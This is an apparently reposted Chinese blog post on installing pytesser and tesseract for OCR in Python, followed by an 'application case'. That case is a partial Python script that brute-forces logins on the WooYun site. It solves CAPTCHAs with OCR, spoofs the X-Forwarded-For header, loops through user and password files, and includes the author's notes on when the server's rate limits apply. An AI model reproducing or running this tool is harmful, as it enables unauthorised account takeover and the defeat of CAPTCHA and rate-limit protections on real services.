pytesser是谷歌OCR开源项目的一个模块,在python中导入这个模块即可将图片中的文字转换成文本。
链接:https://code.google.com/p/pytesser/
pytesser 调用了 tesseract。在python中调用pytesser模块,pytesser又用tesseract识别图片中的文字。
下面是windows下整个过程的实现步骤:
安装PIL、pytesser、tesseract
(1)安装PIL:下载地址:http://www.pythonware.com/products/pil/
(2)pytesser:下载地址:http://code.google.com/p/pytesser/,下载解压后所有文件直接放在代码相同的文件夹下,即可使用。
(3)Tesseract OCR engine下载:http://code.google.com/p/tesseract-ocr/,下载后解压,找到tessdata文件夹,用其替换掉pytesser解压后的tessdata文件夹即可。
ps:如果嫌麻烦不想将pytesser程序放在每个项目代码的目录下,可以将pytesser下载后的文件(所有文件,包括tesseract.exe,testdata目录)解压后放在python安装目录的site-packages下,并且在程序中使用os.chdir(‘C:\\Python27\\Lib\\site-packages’)来指定python程序运行的目录,否则会出现WindowsError: [Error 2] The system cannot find the file specified 。当然,将pytesser的所有文件放在和项目代码同目录下是最简便的方法,且不容易报错。可以参考:http://blog.sina.com.cn/s/blog_a73687bc0101dpcg.html。
ubuntu下使用:
- apt-get install tesseract-ocr
- http://code.google.com/p/pytesser/downloads/list下载pytesser(可以pip install pytesseract安装)
- Python Imaging Library (PIL)
测试代码:
2 | os.chdir( 'C:\\Python27\\Lib\\site-packages' ) |
6 | image=Image. open (r 'C:/1.jpg' ) |
9 | print image_to_string(image) |
10 | print image_file_to_string( 'C:/1.jpg' ) |
详细的使用以及识别率低的改进可参考一下文章:
1、wxPython利用pytesser模块实现图片文字识别
2、使用python以及工具包进行简单的验证码识别
3、关于利用python进行验证码识别的一些想法
应用案例:
乌云账号暴力猜解工具(http://zone.wooyun.org/content/15378)
需要预安装如下程序
1、pytesseract (可以pip install pytesseract安装)
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理:
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理,从正则里可以看到pattern = ‘^[a-zA-Z0-9]{4}$’ 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题
17 | def guess_login(url, users , passwords): |
18 | cj = cookielib.CookieJar() |
19 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) |
21 | ( 'User-Agent' , 'Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0' ), |
22 | ( 'Accept' , 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' ), |
23 | ( 'Accept-Encoding' , 'gzip, deflate' ), |
24 | ( 'Connection' , 'keep-alive' ), |
25 | ( 'X-Forwarded-For' , '127.0.0.1' ), |
27 | urllib2.install_opener(opener) |
33 | pattern = '^[a-zA-Z0-9]{4}$' |
34 | regex = re.compile(pattern) |
38 | for password in passwords: |
40 | password = password.strip() |
45 | pic = opener. open (catp_url) |
47 | f = open ( 'c:\\temp\capta.jpg' , 'wb' ) |
51 | captcha = pytesseract.image_to_string(Image. open ( 'c:\\temp\capta.jpg' )) |
53 | re_result = regex.match(captcha) |
55 | print user, password, captcha |
56 | post_data = 'email=%s&password=%s&captcha=%s' %(user,password,captcha) |
58 | resp = opener. open (post_url,post_data) |
60 | cookies = resp.info().getheaders( 'Set-Cookie' ) |
64 | raw_input( 'Get it!!%s %s' %(user,password)) |
66 | print '[*]Repeat request' |
75 | users = open (sys.argv[1], 'r' ).readlines() |
76 | passwords = open (sys.argv[2], 'r' ).readlines() |
77 | guess_login(url, users , passwords) |
79 | print 'wooyun.py users.txt passwords.txt' |
81 | if __name__ == '__main__' : |
windows下可以使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 为linux下的路径即可
usage: wooyun.py users.txt passwords.txt
其他参考资料:
1、http://www.imop.us/v/MTg1NQ==.html
2、python验证码识别
转载请注明:jinglingshu的博客 » python利用pytesser模块实现图片文字识别